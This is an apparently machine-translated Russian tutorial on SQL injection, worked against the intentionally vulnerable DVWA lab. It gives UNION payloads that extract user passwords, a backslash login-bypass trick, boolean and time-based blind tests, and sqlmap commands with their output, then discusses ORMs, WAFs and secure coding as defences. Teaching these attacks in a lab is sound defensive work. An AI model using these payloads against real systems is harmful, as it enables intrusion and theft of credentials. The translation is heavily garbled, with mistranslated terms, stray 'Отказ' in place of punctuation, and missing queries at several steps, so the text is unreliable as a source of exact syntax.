Первоначально опубликовано https://omerxx.com/sql-injection-intro
Основы того, как проверить и защищать ваше приложение
SQL Injection (SQLI) приходилось более 72% всех атак при рассмотрении всех вертикалей во время (2018-2019) периода. — Состояние Интернета 2019 Акамай
Цитата выше говорит все это. Если есть один вектор атаки, чтобы ознакомиться с веб-разработчиком, это инъекция, и этот в частности. На OwASP топ 10 Список инъекций ранжируются сначала с SQL, уставившись на высокий. Печально известное SQLI Очень распространен, легко автоматизировать и может создать много необработанного повреждения.
Этот пост является личной попыткой добраться до нижней части чего-то я нужно знать. Я неоднократно пытался поднять его с циклами и короткоми видео, но он не пошел «все вниз». Добраться до знать Инъекция SQL означает сидеть, Чтение документов И грязные руки с полезными нагрузками. Синтаксис с небольшим и различным выбегом вместе с выбором на старых клетках мозга SQL стал немного усилий. Часть этого усилия получают этот пост написано.
Началось, что сказано, что важно упомянуть, что инъекция SQL (от здесь будет называться SQLI) — это простой концепция со многими ароматами. Как много? Столько, сколько врости SQL DB, бросьте в матрицу разных веб-видов и ошибок разработчиков.
SQL-инъекция (или SQLI короче) — это способ проникновения данных веб-приложения без ущерба для самого хоста. Это позволяет злоумышленнику вытащить данные из базы данных и в некоторых случаях исходный код и другую конфиденциальную информацию.
Выполнение атаки требует очень простой «инструмент взлома»: ваш браузер, что делает его доступным и легко изучать и выполнять.
Есть разные виды векторов SQLI. Наиболее распространенные привлекивают HTTP-запрос от браузера клиента. Итак, где разработчик предназначен для пользователя, чтобы обеспечить простой вход E.G. Идентификатор пользователя
атакующий может попытаться вставлять Оператор SQL. Вместо того, чтобы обеспечить 1
Например, рассмотрим этот вход:
1' UNION SELECT password FROM users UNION SELECT '1
Если в контексте инъекции не было мыслей в контексте инъекции, это может быть эксплуатируется для такого запроса. Результатом является извлечение информации базы данных через простую веб-форму. Если успешно, злоумышленник не должен получить доступ к физическому серверу. Данные извлекаются и доступны в «законном» манере.
Для того, чтобы настроить живой пример, я использую печально известное Черт Уязвимое веб-приложение . Это доступно в разных формах, но ради демонстрации и скорости, давайте выберем быстрее один с Docker:
docker run --rm -it -p 8080:80 vulnerables/web-dvwa # The login screen would be @ http://localhost:8080 # # While the login can be brute-forced, let's keep things simple for now: # 1. Login - User: "admin", Password: "password" # 2. Click "Create / Reset Database" # 3. You're all set. Login again.
Тыкать для отверстий
Выберите модуль «SQL Inurion» из меню. Попытка поиграть с возможными входами, мы можем видеть, что запрошенный параметр — это идентификатор пользователя, поэтому первый вариант может быть 1
:
1 # ID: 1 # First name: admin # Surname: admin
Похоже, нас отвечают тремя полями: ID, имя и фамилия. Давайте попробуем побег, предоставляя '
:
' # Output: # You have an error in your SQL syntax; check the manual that # corresponds to your MariaDB server version for the right # syntax to use near ''''' at line 1
Этот ответ имеет ценную информацию здесь. Когда приложение возвращает ошибку с сообщением об ошибке, ресированном с бэкэнда, злоумышленник получает вживую обратную связь с разными попытками, которые можно использовать для настроек.
Иногда, как механизм защиты, приложения возвращают универсальное сообщение об ошибке без какого-либо информационного сообщения. Тем не менее, атака может быть выполнена и называется «слепым инъекцией SQL». Больше на это дальше.
Вернуться к нашему инъекционному желанию. После использования '
Приложение вернуло полезное сообщение, упомянутое ошибку рядом '' '' '
Отказ Похоже, впрыск действителен, и ответ от двигателя БД виден. Это означает, что мы можем попробовать разные методы и получить видимый обратную связь.
SQL Союз
Заявление является обычным помощником. Используя это, злоумышленник может объединить дополнительную информацию с результатами и возвращать их вместе. Мы постараемся запустить следующую:
1' UNION SELECT '2 # Output: The used SELECT statements have a different number of columns
Во-первых, давайте просмотрим ввод:
1 '
означает «Завершить утверждение с 1 и закрыть его с апострофом». Именно по этой причине; Возможность прекращения логической части SQL-запроса,'
опасны, когда не избежате правильно.Союз выберите «2
этоСоюз
Заявление, которое выбирает номер и открытие другого'
Пары с одним ожиданием в конце оператора в BackeND Code.
Теперь мы знаем Союз
может работать с несколькими настройками. При вызове оператора SQL с Союз
Двигатель БД пытается объединить результаты на один набор. Чтобы сделать то, что все части должны иметь один и тот же номер столбца, поэтому они могут быть объединены.
Давайте расширим тест и предоставьте дополнительную колонку:
1' UNION SELECT 1,'2 # ID: 1' UNION SELECT 1,'2 # First name: admin # Surname: admin # ID: 1' UNION SELECT 1,'2 # First name: 1 # Surname: 2
Груз! Инъекционные работы. Тем не менее, это не реальные извлеченные данные. Мы должны найти наш путь вокруг схем, чтобы иметь что-то значимое, но это определенно перспективно.
Шаг один получает имя БД для заправки таблиц от:
Это дает три набора с именем баз данных под «фамилией»: «admin», «dvwa», «informent_schema».
Мы заинтересованы в
DVWA
Так что мы выберем это и запрашивайте свою схему:Запрос дает названия таблиц: «admin», «Пользователи», «Гостевая книга»
«Пользователи» таблицы — обычный немедленный подозреваемый, который содержит интересные данные, такие как имена пользователей, пароли и другая личная идентификаторная информация ( PII ). Мы запросим это (не стесняйтесь Tinker с запросами и запросить всю доступную информацию):
Мы ответили список имен столбцов. «Пользователь» и «пароль» кажутся интересными.
Мы продолжаем и делаем прямой запрос к таблице «Пользователи»:
И там он: список всех пользователей и пароль существует. Удивительно (или нет), пароли находятся в четком тексте и даже не хешированы, как они должны быть.
Уровень безопасности: средний
Поднимая уровень безопасности DVWA под «GWWA Security» -> Выберите Средний
Отказ На этот раз вместо простого формы мы находим раскрывающийся список с определенными пользователями на выбор. Проверка инструментов DEV браузера говорит нам Пост
Запрос отправляется с двумя параметрами: ID = 1 и отправь = Отправить
Отказ Поскольку существует более чем горстка заголовков, мы можем использовать любой вид перехватчика, чтобы получить запрос и повторить его с разными параметрами. Один любимый вариант — Burpsuite Отказ
Быстрая настройка для перехвата с Burpsuite
- Установите ваши запросы, чтобы пройти через прокси; С Firefox это легко, как идет на
Предпочтения
—>Продвинутый
->Настройки сети
->Ручная конфигурация прокси
и устанавливать все протоколы, чтобы пройти127.0.0.1:8080
(По умолчанию Burpsuite) - Перейти к бурпсете
Прокси
вкладка и установитьперехватить
Отказ Следующий запрос, выходящий из Firefox, должен быть остановлен в BS, где вы можете решить остановиться, пересылать или бросить его - Перейдите на страницу DVWA SQLI, выберите идентификатор из раскрывающегося списка и нажмите
Отправить
Отказ Запрос должен ждать на бурпсете, где мы можем отправить его наПовторитель
черезДействия
меню.
Тыкать на сервере, играя с ID
из Пост
Запрос раскрывает анализующий символ в форме \
Отказ Так что всякий раз, когда специальный Char, как ', #, --, $
Похоже, это сбежается. Однако неспособность использовать специальные символы, не мешает Союз
Инъекция с той же синтаксисом:
1 UNION SELECT user, password FROM users
Вот и все. Не убегая вообще. Код бэкэнда уже оборачивает его и полностью извлекает все в команде.
Уровень безопасности: высокий
Последний уровень безопасности показывает ссылку, которая всплывает другое окно с формой, которая контролирует запрос. Игра с предыдущими высказателями показывает, что код «лучше» здесь, но у него все еще есть глюк. Комментарии — это хороший способ избежать остальной линии:
SELECT something FROM sometable # WHERE ... # Will translate into the SQL query SELECT something FROM sometable
Есть разные варианты комментирования строк SQL, общие — --
, #
, /*
— многоровный, который заканчивается */
. В «реальном мире» это полезно в описании кода:
SELECT name -- this is the name FROM users -- users table WHERE name="DAN" -- Dan is the CEO
Когда дело доходит до SQLI, комментарии помогают игнорировать остальную часть кода, который следует, поэтому рассмотрите этот код PHP:
// Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
Запрос Предел
Эд одному результату, что делает трудно потянуть большой набор данных, игнорируя Ограничить
Атион может пройти:
# First input: 1 UNION SELECT user,password from users # Translates to SELECT first_name, last_name FROM users WHERE user_id = '1 union select user,password' LIMIT 1;
Поскольку результат запроса ограничен одним набором, он будет постоянно возвращаться first_name, last_name
игнорируя Союз
. Давайте попробуем еще раз:
1 UNION SELECT user,password from users# # Limitation ignored SELECT first_name, last_name FROM users WHERE user_id = '1 union select user,password FROM users';
Слепой инъекция SQL используется, когда приложение не возвращает ошибку SQL, но все еще уязвима для атаки. Это практически тот же сценарий, что и обычный SQL, но злоумышленник должен выяснить, существует ли уязвимость используя ряд истинных/ложных тестов. Другой метод на основе времени. Отправляя СПАТЬ
В рамках запроса, основанного на том времени, на который нужно появиться ответ, злоумышленник может сказать, является ли ответ положительным или нет.
Наименное впрыск на основе времени опирается на базу данных при паузе в течение определенного количества времени, а затем возвращает результаты, что указывает на успешное выполнение SQL Query. Используя этот метод, злоумышленник перечисляет каждую букву желаемого произведения данных, используя следующую логику: Если первая буква имени первой базы данных является «A», подождите 10 секунд. Если первая буква имени первой базы данных является «B», подождите 10 секунд. и Т. Д. — Слепой инъекция SQL — Owasp
Давайте тестируем модуль SQLI DVWA SQLI с Низкий
уровень безопасности. С простым входом 1
Система возвращает Идентификатор пользователя существует в базе данных
. С плохим входом, как '
Ответ — это 404
с сообщением Идентификатор пользователя отсутствует в базе данных.
Следующий шаг играет вокруг, чтобы увидеть, является ли логическая атака необязательной:
# Input '1 AND 1='1 >> User ID exists in the database. # Ok, that was supposed to be a truthy signal. # Input '1 AND 1='2 >> User ID is MISSING from the database. # Good! It seems a boolean-based blind attack is valid
Отсюда, это вопрос отделения известных результатов в ложные/положительные заявления, из которых злоумышленник может получить ответ. Например:
# This input returns 404 1' and (select user from users where user_id=1)='test' and 1='1 # However this is successful # This means the name is 'admin' where user_id = 1 1' and (select user from users where user_id=1)='admin' and 1='1
Меньшее известный способ, но, тем не менее, эффективен может быть полезен, когда определенные символы, такие как '
сбежаются, но пользователь может управлять двумя разными полями. Очевидный пример — страница входа. Когда строка избежается приложением, например, с \
Атакующий может обойти его, создал свой собственный побег, как так:
username: \ password: or 1 # $query = select * from users where username='".$username."' and password='".$password."'";
Это переводит:
select * FROM users where username='\' or password=' or 1 # ';
Backslash уходит в следующую одноцитату, создавая ситуацию, в которой приложение читает значение имени пользователя, как так: '\' или
Отказ Выписание выше всегда будет возвращать правда
Отказ Хеш #
Убедитесь, что его следующий раздел команды игнорируется как комментарий.
Нужно познакомиться с различными методами для решения разных ситуаций. Но, переписывая полезные нагрузки и вспоминая все варианты трудно, если вы не эксперт. Человеческие ошибки и ложные-позитивные мы можем пропустить, также могут вмешиваться. SQLMAP может помочь.
SQLMAP
это инструмент CLI, который автоматизирует сканирование и предоставляет соответствующую информацию. Если возможно, он может схватить информацию от имени баз данных БД и даже таблиц. Это также будет идентифицировать слепые SQLI и отчет о дополнительных методах (логическом или временном).
Вот простая работа на ней на DVWA Blind SQLI
# Scanning the full form path with parameters # Note how cookies are also passed to the scanner for authentication sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=abcd;security=low" --dbs sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 5756=5756 AND 'XWif'='XWif&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF) AND 'lswI'='lswI&Submit=Submit --- available databases [2]: [*] dvwa [*] information_schema
Сканер нашел как уязвимость, так и тот факт, что он должен быть атакован вслепую. Он предлагает полезные нагрузки и в настоящее время доступные базы данных, которые можно использовать:
# Running the same scan with a -D for db name # and --tables to enumerate the dvwa db sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=abcd;security=low" -D dvwa --tables Database: dvwa [2 tables] +-----------+ | guestbook | | users | +-----------+
- «Форма» — общее убеждение — это хороший способ борьбы с SQL использует Слой ORM Отказ Не только ORM предоставляет управление структурой данных, но она также отвлекает ответственность за создание запросов необработанных баз данных. Это обычно полезно; Передать ответственность за вопрос о запросах более опытных рук имеет смысл. Но это не должно быть сделано вслепую. В то время как ORM обычно A, это не решение безопасности SQLI. Орм может легко включиться на обоюдоострый меч. Если нарушается, ORM может превратиться в мировой масштаб SQL-инъекционного отверстия. Пользователи ORM должны ознакомиться с методами впрыска и проверять свои собственные приложения.
«Я бы сказал, что это базовое ожидание для любого ORM, да. Что скорее всего, почему он не упоминается в документах — предполагается, что он предполагается, пока вы используете COORE API ORM или CAREY SUILDER. И вот где оговорка … ОРМС предоставляют множество способов построить запрос базы данных, но они также дают вам опцию/гибкость для записи «RAW», Do-IT-самого запросов в виде строки … Или они позволяют писать какую-то часть сгенерированного запроса как сырая строка. Очевидно, вы хотите избежать этого, так как это вроде побеждает цель использования ORM … но для него есть чехол для него время и снова ». — Тип выдачи ответа @ перо-hmalone
WAF — А Веб-приложение Firewall Может быть большая помощь путем фильтрации входящих подозрительных запросов, таких как полезные нагрузки SQLI или Scrip-сайта. Они тоже полагаются на силу своих правил и можно обойти Если не реализован правильно.
Самооборона — создание вещей с наилучшей практикой в виду — хорошее направление. Это звучит очевидно, но это действительно нет. Лучшая практика менталитет велик, но это не значит, что каждая ответственность может быть выгружена на другой слой. Когда дело доходит до безопасности, особенно к вектору, которое отвечает за подавляющее большинство утечек веб-данных, нужно знать, как самостоятельно защищать. Ознакомьтесь с атаками и оснастку могут сделать разницу с чувствительной утечкой информации.
Я надеюсь, что теперь вы более знакомы с рисками и смягчениями SQLI. В сознании векторов атаки помогает разработчикам и операциям США защищать системы под нашей ответственностью.
Я буду делать больше этих постов, в основном вокруг 10 лучших уязвимых уязвимостей Owasp, поэтому, если вы чувствуете, что это было полезно, придерживайтесь больше и дай мне знать Если у вас есть какие-либо вопросы или отзывы вообще.
Оригинал: «https://dev.to/prodopsio/sql-injection-for-developers-2pi»